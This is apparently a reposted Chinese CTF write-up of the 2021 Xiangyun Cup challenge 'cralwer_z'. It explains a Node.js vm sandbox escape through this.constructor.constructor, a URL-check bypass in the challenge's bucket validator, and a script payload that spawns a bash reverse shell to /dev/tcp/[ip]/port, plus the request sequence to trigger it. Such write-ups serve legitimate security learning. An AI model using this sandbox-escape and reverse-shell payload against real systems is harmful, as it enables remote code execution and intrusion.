2021祥云杯cralwer_z
source link: https://suyumen.github.io/2021/11/10/2021-11-01-%5B2021%E7%A5%A5%E4%BA%91%E6%9D%AF%5Dcralwer_z/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
2021祥云杯cralwer_z
最近的比赛都很有意思,大家的博客也很有意思;但是我没有意思,因为比赛题我都不会做。今天有拟态的决赛,但是为什么我在写博客,就是因为看了题,第一步就被那个我不认识也不认识我的编码难住了,而且我也不想抢了同队大佬们的vpn
,阻挡了他们30万奖金的道路。
于此同时,我也学习到了一个小小的知识点:虽然我没有抢大佬们的vpn
,但vpn
确实是可以抢占的。以及昨天因为初次接触拟态防御这个概念,特意写了一篇(不是很明白的)调研报告,以多了解这个技术(以当作我的web开发课作业)。
所以看看以前的比赛题。
这个祥云杯比赛的题对我而言都好新呐(指都不会做)。
言归正传,在看各种wp的过程中,我发现这个解题链应当是“危险函数–>代码审计”,就是先找危险函数,找不到再整体审计。然而对于不知道有什么危险函数的我来说,任何题的流程都是“代码审计”。很明显,让我代码审计,就像是让我舍友宝琪姐姐不说话了一样————“开玩笑”。
zombie
如果是我的话,只会发现“cralwer_z”
和爬虫相关。但是为什么别人能做出来的,就是因为他们知道:
zombie
有vm
库并且在解析script
和url
的时候调用runInContext
,将script
内容作为第一个参数code
。
vm
不安全,就像vm2
也不安全。
这是因为创建vm
环境时,首先初始化一个对象sandbox
,这个对象就是vm
中脚本执行时的全局环境context
,全局this
指向的就是这个对象。
vm
中的this
:
const vm = require('vm')
global.secret = 'sss'
context = {'x': 1}
vm.createContext(context)
console.log(vm.runInContext("this", context)) // { x: 1 }
console.log(context.constructor.constructor('return this')()) // global
context.constructor.constructor
获取到的是Function()
,用Function()
动态创建一个匿名函数,获取this
的值,this
指向的就是global
对象。
注册admin
登录后有个profile
路由。看一下源码
router.post('/profile', async (req, res, next) => {
let { affiliation, age, bucket } = req.body;
const user = await User.findByPk(req.session.userId);
if (!affiliation || !age || !bucket || typeof (age) !== "string" || typeof (bucket) !== "string" || typeof (affiliation) != "string") {
return res.render('user', { user, error: "Parameters error or blank." });
}
if (!utils.checkBucket(bucket)) {
return res.render('user', { user, error: "Invalid bucket url." });
}
let authToken;
try {
await User.update({
affiliation,
age,
personalBucket: bucket
}, {
where: { userId: req.session.userId }
});
const token = crypto.randomBytes(32).toString('hex');
authToken = token;
await Token.create({ userId: req.session.userId, token, valid: true });
await Token.update({
valid: false,
}, {
where: {
userId: req.session.userId,
token: { [Op.not]: authToken }
}
});
} catch (err) {
next(createError(500));
}
if (/^https:\/\/[a-f0-9]{32}\.oss-cn-beijing\.ichunqiu\.com\/$/.exec(bucket)) {
res.redirect(`/user/verify?token=${authToken}`)
} else {
// Well, admin won't do that actually XD.
return res.render('user', { user: user, message: "Admin will check if your bucket is qualified later." });
}
});
我不明白为什么我看了半天的东西,我只能寥寥几句话来解释`。
if (!utils.checkBucket(bucket)) {
return res.render('user', { user, error: "Invalid bucket url." });
}
let authToken;
这里检查过bucket
合法后,就设置了authtoken
。
try {
await User.update({
affiliation,
age,
personalBucket: bucket
}, {
这里又更新了user
信息,尤其是更新了bucket
。
static checkBucket(url) {
try {
url = new URL(url);
} catch (err) {
return false;
}
if (url.protocol != "http:" && url.protocol != "https:") return false;
if (url.href.includes('oss-cn-beijing.ichunqiu.com') === false) return false;
return true;
}
这里绕过可以类似这样:
http://IP/index.html?aaa=oss-cn-beijing.ichunqiu.com
就可以覆盖掉bucket
,换成心机代码段:
<script>c='constructor';this[c][c]("c='constructor';require=this[c][c]('return process')().mainModule.require;var sync=require('child_process').spawnSync; var ls = sync('bash', ['-c','bash -i >& /dev/tcp/[ip]/port 0>&1'],);console.log(ls.output.toString());")()</script>
发送三次请求,第一次获取token
值,第二次请求/user/profile
,Bucket
赋值为vps
的ip
。再请求/user/verify?token=[token]
,然后通过/user/bucket
反弹shell
。
1.战队wp
3.https://blog.csdn.net/cjdgg/article/details/120147572
4.https://cbatl.gitee.io/2021/08/24/xinagyubbei/
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK